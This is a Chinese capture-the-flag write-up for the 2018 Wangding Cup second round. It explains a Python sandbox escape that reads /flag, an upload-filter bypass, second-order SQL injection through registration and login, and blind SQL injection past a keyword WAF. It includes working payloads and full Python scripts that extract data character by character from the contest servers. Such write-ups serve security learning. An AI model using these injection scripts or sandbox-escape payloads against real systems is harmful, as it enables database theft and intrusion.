网鼎杯第二场wp

学到了很重要的fuzz思想

https://xz.aliyun.com/t/2619
https://mochazz.github.io/2018/08/23/2018%E7%BD%91%E9%BC%8E%E6%9D%AF%E7%AC%AC%E4%BA%8C%E5%9C%BAWeb%E9%A2%98%E8%A7%A3/
http://lu4n.com/wangdingbei-second-web-writeup/
https://xz.aliyun.com/t/2614
https://www.o2oxy.cn/1688.html

web

calc

python沙盒逃逸 最基础的payload就能打

1
2
3
4
5
1+1,().__class__.__bases__[0].__subclasses__()[40]('/flag').read()
1+1+int(([].__class__.__base__.__subclasses__()[40](‘/flag’,’r’).read()).encode(‘utf-8’),16)
1+2+float(str([].__class__.__mro__[-1].__subclasses__()[40]('/flag').read()))

wafupload

pwnhub 傻fufu的工作日原题 构造数组绕过

更多上传getsehll 参考
http://skysec.top/2018/08/16/Upload-labs&Upload%20Bypass%20Summarize/

unfinish

首先fuzz看看过滤 (fuzz真滴超级重要)

过滤了逗号比较烦人

二次注入

什么是二次注入呢 我的理解是 题目环境执行了两次sql的语句

第一次把你的语句存入数据库 第二次从数据库中回显第一次的数据结果

比较常见的形式是一个注册页面一个登陆页面 注册页面可能会多填很多信息 但某个信息登陆时并不需要

但是登陆后有显示 这说明后台在登录时也从数据库取了这个信息

比如这次的题目 还有强网杯上的 当时是 age参数

这题我们首先要考虑闭合’ ‘ 由于union被waf 采用+连接

注册时 0’%2B(select hex(hex(database())))%2B’0

现在我们逐一分析这个payload 0’ 和 ‘0很显然是闭合’’ 闭合前一个才能执行我们想自定的sql语句

这样后面会多一个’所以再次用 ‘0闭合后面的

这样在注册时便把两次hex后database的名字写进了数据库 这便是执行了第一次sql语句

然后我们去登陆 执行了第二次sql语句 便把两次hex后database的名字

最后我们解两次hex便可以拿到database

为什么要两次hex呢 为了让想获取的信息完全变成数字形式 这样与0相加仍然是本身

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# 存在bug的脚本
import requests
import re,binascii
login_url = "http://aad6cdfbfad34a09b7f947a852b226c4758d9b48816d48e9.game.ichunqiu.com/login.php"
register_url = "http://aad6cdfbfad34a09b7f947a852b226c4758d9b48816d48e9.game.ichunqiu.com/register.php"
users_email = ["test0" + str(i) + "@qq.com" for i in range(0,17)]
def register(user_email,offset):
reg_datas = {
"email" : user_email,
"username" : "0'+(select substr(hex(hex((select * from flag))) from " + str(1+offset*10)+ " for 10))+'0",
"password" : "test"
}
# print(reg_datas['username'])
r = requests.post(url = register_url,data = reg_datas)
def login(user_email):
login_datas = {
"email" : user_email,
"password" : "test"
}
r = requests.post(url = login_url,data = login_datas,allow_redirects=True)
pattern = '<span class=\"user-name\">\s*(\d{1,10})\s*<'
return re.findall(pattern,r.text)[0]
if __name__ == '__main__':
flag_double_hex = ''
for email,offset in zip(users_email,range(0,len(users_email))):
register(email,offset)
test = login(email)
print(test)
flag_double_hex += test
print("[-] " + flag_double_hex,end="\r",flush=True)
print("[+] " + flag_double_hex.decode('hex').decode('hex'))

所以两次hex并不是唯一的方法 只要能保证变信息为数字就可以 比如

0’+ascii(mid((select * from flag)from(“+str(i)+”)for(1)))+’0

这种形式也完全ok

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import json
import requests
import time
email = "xasqxa@qq.com"
cookies = {
"PHPSESSID": "96mmrs6fdb9nqpb5qo15e9pj56"
}
flag = ""
for i in range(50):
i += 20
data = {
"email": email+str(i),
"username": "0'+ascii(mid((select * from flag)from("+str(i)+")for(1)))+'0",
"password": "123"
}
requests.post("http://861f47bab70e4e9c8ba4f9e84d8b8bc66605bac1880344ad.game.ichunqiu.com/register.php", data=data, cookies=cookies)
o = requests.post('http://861f47bab70e4e9c8ba4f9e84d8b8bc66605bac1880344ad.game.ichunqiu.com/login.php', data=data, cookies=cookies).text[837:850].split(" ")[0]
flag += chr(int(o))
print flag
#flag{a198e723-0a11-4c88-baa8-c8b6b41269a1}

那么空字符串行不行呢

如果空字符串的话就是 ‘+select database()+’

这你本地测一下就知道不行 ‘’+任何全都没用 拿不到database()的结果

后来还看见一种更厉害的 不用转数字

1’and((select substr((%s)from(%d)for(1))=’%s’))and’1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
import requests as req
import random
import sys
URL = 'http://99836af07612423cb83b84745ccd56dcd11ede0687854475.game.ichunqiu.com'
def login(email):
data = {
"email": email,
"password": "123456"
}
res = req.post(URL + '/login.php', data)
if res.status_code == 200 and '1 </span>' in res.content:
return True
return False
def reg(u, e):
data = {
"username": u,
"email": e,
"password": "123456"
}
res = req.post(URL + '/register.php', data, allow_redirects=False)
if res.status_code == 302:
return login(e)
return False
table = 'qwertyuiopasdfghjklzxcvbnm'
def b(pl):
email = ''.join(random.sample(table, 8)) + '@qq.com'
return reg(pl, email)
def getLen(sql):
print("[+] Starting getLen...")
for i in range(1, 60):
sys.stdout.write("[+] Len : -> %d <-\r" % i)
sys.stdout.flush()
if b("1'and((select length((%s)))=%d)and'1" % (sql, i)):
print("[+] Len : -> %d <-" % i)
return i
return 0
def getData(sql="version()"):
_len = getLen(sql)
if not _len:
print("[-] getLen 'Error'")
return False
print("[+] Starting getData...")
table = '}{1234567890.-@_qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
res = ''
for pos in range(1, _len + 1):
for ch in table:
sys.stdout.write("[+] Result : -> %s%c <-\r" % (res, ch))
sys.stdout.flush()
pl = "1'and((select substr((%s)from(%d)for(1))='%s'))and'1" % (
sql, pos, ch)
if b(pl):
res += ch
break
print("[+] Result : -> %s <- " % res)
return res
# right(left(x,pos),1)
# mid(x,pos,1)
if __name__ == '__main__':
# pl = "(select substr((version())from(1)for(1))='%s')" % '5'
# pl = "1'and(%s)and'1" % pl
# print(b(pl))
pl = 'version()'
pl = 'select t.c from (select (select 1)c union select * from flag)t limit 1 offset 1'
getData(pl)
1
2
3
4
5
6
7
8
① select * from table limit 2,1;
//含义是跳过2条取出1条数据,limit后面是从第2条开始读,读取1条信息,即读取第3条数据
② select * from table limit 2 offset 1;
//含义是从第1条(不包括)数据开始取出2条数据,limit后面跟的是2条数据,offset后面是从第1条开始读取,即读取第2,3条

sqlweb

fuzz看waf

登陆框 admin提示密码错误 其他用户名提示用户名错误

fuzz 密码 发现是 admin123

登进去发现提示 只有 wuyanzu 用户才能拿到 flag 。至此,思路就很清晰了,flag 应该就是 wuyanzu 用户的密码,或者 wuyanzu 用户登陆后就能看到 flag 所以这题就是考察绕过 WAF 进行 SQL注入

waf:/sleep|benchmark|=|like|regexp|and||%|substr|union|\s+|group|floor|user|extractvalue|UpdateXml|ord|lpad|rpad|left|>|,|ascii/i !!! (trust me,no one can bypass it)

过滤了空格,可以用 /**/ 来绕过;过滤了 and ,可以用 && 代替;过滤了 substr 、 ascii ,但是还可以用 mid 。而且SQL语句执行和不执行返回的长度是不一样的

思路还蛮熟悉的 借助用户名的位置注出密码

wuyanzu'/**/&&/**/password>%s#

这个payload比较简便 不过不能区分大小写 好在这比赛的flag全是小写的 和n1ctf上的有点类似

wuyanzu'/**/&&/**/mid(passwd/**/from/**/" + str(i) +"/**/for/**/1)/**/in/**/('" + char + "')/**/limit/**/1#

这个看起来比较正常一点

limit 1 (后面只有一个参数)是从1开始

1
2
select * from Customer LIMIT 10;--检索前10行数据,显示1-10条数据
select * from Customer LIMIT 1,10;--检索从第2行开始,累加10条id记录,共显示id为2....11

from for 之前用的不多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
mysql> select database();
+------------+
| database() |
+------------+
| typecho |
+------------+
1 row in set (0.00 sec)
mysql> select substr(database() from 1 for 2);
+---------------------------------+
| substr(database() from 1 for 2) |
+---------------------------------+
| ty |
+---------------------------------+
1 row in set (0.00 sec)
mysql> select substr(database() from 2 for 3);
+---------------------------------+
| substr(database() from 2 for 3) |
+---------------------------------+
| ype |
+---------------------------------+
1 row in set (0.00 sec)
#说明前面一个数字是从第几个开始读取,最后的一个数字是读取的长度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
flag = ''
chars = "}{-0123456789abcdefghijklmnopqrstuvwxyz"
url = "http://902f59bfbb134985aeef8fb606e07c77373dedd3ef0e4bca.game.ichunqiu.com//sql.php"
for i in range(1,50):
for char in chars:
datas = {
"uname" : "wuyanzu'/**/&&/**/mid(passwd/**/from/**/" + str(i) +"/**/for/**/1)/**/in/**/('" + char + "')/**/limit/**/1#",
"passwd" : "rte",
"submit" : "login"
}
r = requests.post(url = url, data = datas)
if len(r.text) == 75:
flag += char
print("[-] " + flag,end="\r",flush=True)
if char == '}':
print("[+] " + flag)
exit()

misc

套娃

lsb 直接zsteg最里面的图片

虚幻

汉信码
第一次见是在 https://xz.aliyun.com/t/1625

拼图的时候按提取的顺序 我最开始还以为要全试一遍orz

crypto

rsa

https://m.sohu.com/a/249661061_557054/?pvid=000115_3w_a